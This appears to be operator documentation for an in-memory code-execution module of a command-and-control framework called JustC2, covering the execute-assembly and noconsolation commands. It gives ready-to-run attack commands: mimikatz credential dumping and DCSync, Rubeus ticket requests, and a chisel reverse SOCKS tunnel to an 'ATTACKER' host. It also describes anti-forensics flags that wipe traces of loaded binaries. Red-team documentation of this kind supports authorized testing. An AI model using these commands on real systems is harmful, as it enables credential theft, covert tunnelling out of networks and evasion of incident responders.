Code Execution
The Execution-BOF module provides two mechanisms for executing arbitrary code in the agent’s process memory, without writing any files to disk on the target machine.
Available on agents: Beacon, Gopher (Windows only).
execute-assembly
Execute a .NET assembly entirely in memory using CLR hosting. The binary is uploaded from the operator’s machine and loaded directly into the agent’s process — no file touches the target’s disk.
execute-assembly --assembly <local_path> [--args "<arguments>"]| Argument | Required | Description |
|---|---|---|
--assembly | Yes | Path to the .NET EXE/DLL on the operator’s machine |
--args | No | Arguments passed to the assembly |
Examples
Run SharpHound to enumerate Active Directory:
execute-assembly --assembly /opt/tools/SharpHound.exe --args "-c All -d domain.local"Run Rubeus to request a TGT:
execute-assembly --assembly /opt/tools/Rubeus.exe --args "asktgt /user:admin /password:P@ss /ptt"Run Seatbelt for security auditing:
execute-assembly --assembly /opt/tools/Seatbelt.exe --args "-group=all"Run SharpUp to find privilege escalation paths:
execute-assembly --assembly /opt/tools/SharpUp.exe --args "audit"When to use
execute-assembly is the primary method for running offensive tools written in .NET. It is ideal for:
- AD reconnaissance tools: SharpHound, ADSearch, SharpView
- Kerberos attacks: Rubeus (though JustC2 has Kerbeus-BOF built in)
- Security auditing: Seatbelt, SharpUp, Certify
- Credential extraction: SharpDPAPI, SharpChrome
- Lateral movement: SharpWMI, SharpRDP
Supports .NET Framework assemblies. The assembly runs in a separate AppDomain within the agent’s process.
noconsolation
Execute native (unmanaged) EXE or DLL binaries entirely in memory via the No-Consolation BOF. More versatile than execute-assembly since it supports both .NET and native Windows binaries.
noconsolation -f <local_path> [-a "<arguments>"] [options]Loading Options
| Argument | Description |
|---|---|
-f <path> | Upload an EXE/DLL from the operator’s machine |
--local <path> | Load a binary from the target machine’s disk |
--memory <name> | Load a previously cached PE from memory |
Execution Options
| Argument | Description |
|---|---|
-a "<args>" | Arguments for the PE |
--method <export> | Exported function name to execute (DLLs only; default: DllMain) |
--timeout <seconds> | Maximum wait time (default: 60s, 0=unlimited) |
--inthread | Run in the main thread (may hang the agent) |
-w | Pass arguments in UNICODE format (default: ANSI) |
-no | Don’t capture output |
-ac | Allocate a new console (spawns a new process) |
-ch | Close pipe handles when finished |
Anti-Forensics Options
| Argument | Description |
|---|---|
-k | Overwrite PE headers (removes traces of the loaded binary) |
--link-to-peb | Make the PE visible in the PEB (Process Environment Block) |
In-Memory PE Management
| Argument | Description |
|---|---|
--dont-save | Don’t cache the PE in memory |
--dont-unload | Don’t unload the DLL after execution |
--list-pes | List all PEs currently loaded in memory |
--unload-pe <name> | Unload a specific PE from memory |
--free-libraries "DLL_A,DLL_B" | Free specific DLLs (previously loaded with --dont-unload) |
Dependency Management
| Argument | Description |
|---|---|
-lad | Custom-load all PE dependencies |
-ladb "DLL_A,DLL_B" | Custom-load all dependencies except the listed ones |
-ld "DLL_A,DLL_B" | Custom-load only the specified dependencies |
-sp "PATH_A,PATH_B" | DLL search paths (default: system32) |
Examples
Run mimikatz in memory:
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug token::elevate exit"Run mimikatz with anti-forensics (overwrite headers):
noconsolation -f /tmp/mimikatz.exe -a "sekurlsa::logonpasswords exit" -kRun a long-running tool (chisel, ligolo, etc.):
noconsolation -f /tmp/chisel.exe -a "client ATTACKER:8080 R:socks" --timeout 0 --inthreadCache a PE in memory and reuse it:
# First execution — the PE is cached automatically
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug exit"
# Subsequent executions — load from memory (no re-upload)
noconsolation --memory mimikatz.exe -a "sekurlsa::logonpasswords exit"
noconsolation --memory mimikatz.exe -a "lsadump::dcsync /user:Administrator exit"List cached PEs in memory:
noconsolation --list-pesUnload a PE from memory:
noconsolation --unload-pe mimikatz.exeExecute a DLL with a specific exported function:
noconsolation -f /tmp/custom.dll --method MyExportedFunc -a "arg1 arg2"Load from disk on the target machine:
noconsolation --local "C:\Windows\Temp\tool.exe" -a "arg1"When to use
noconsolation is superior to execute-assembly for native binaries:
- Native Windows tools: mimikatz.exe, procdump.exe, netcat, chisel
- Custom DLLs: Execute specific exported functions from a DLL
- Long-running tools: SOCKS proxies, tunnels, servers (with
--timeout 0 --inthread) - Repeated executions: Cache the PE in memory and reuse it without re-uploading
- Stealthy operations: Use
-kto wipe PE headers from memory
Restriction: Only supports 64-bit (x64) agents. Does not work in WoW64 (32-bit) processes.
PE Cache Workflow
The No-Consolation PE caching system allows loading a binary once and executing it multiple times:
- Load and execute:
noconsolation -f /path/tool.exe -a "first_command"— the PE is cached in memory automatically. - Reuse:
noconsolation --memory tool.exe -a "second_command"— no network transfer. - Check cache:
noconsolation --list-pes— see which PEs are in memory. - Cleanup:
noconsolation --unload-pe tool.exe— free memory when no longer needed.
This is especially useful with tools like mimikatz that are used repeatedly during an operation — upload once, run multiple modules without additional network traffic.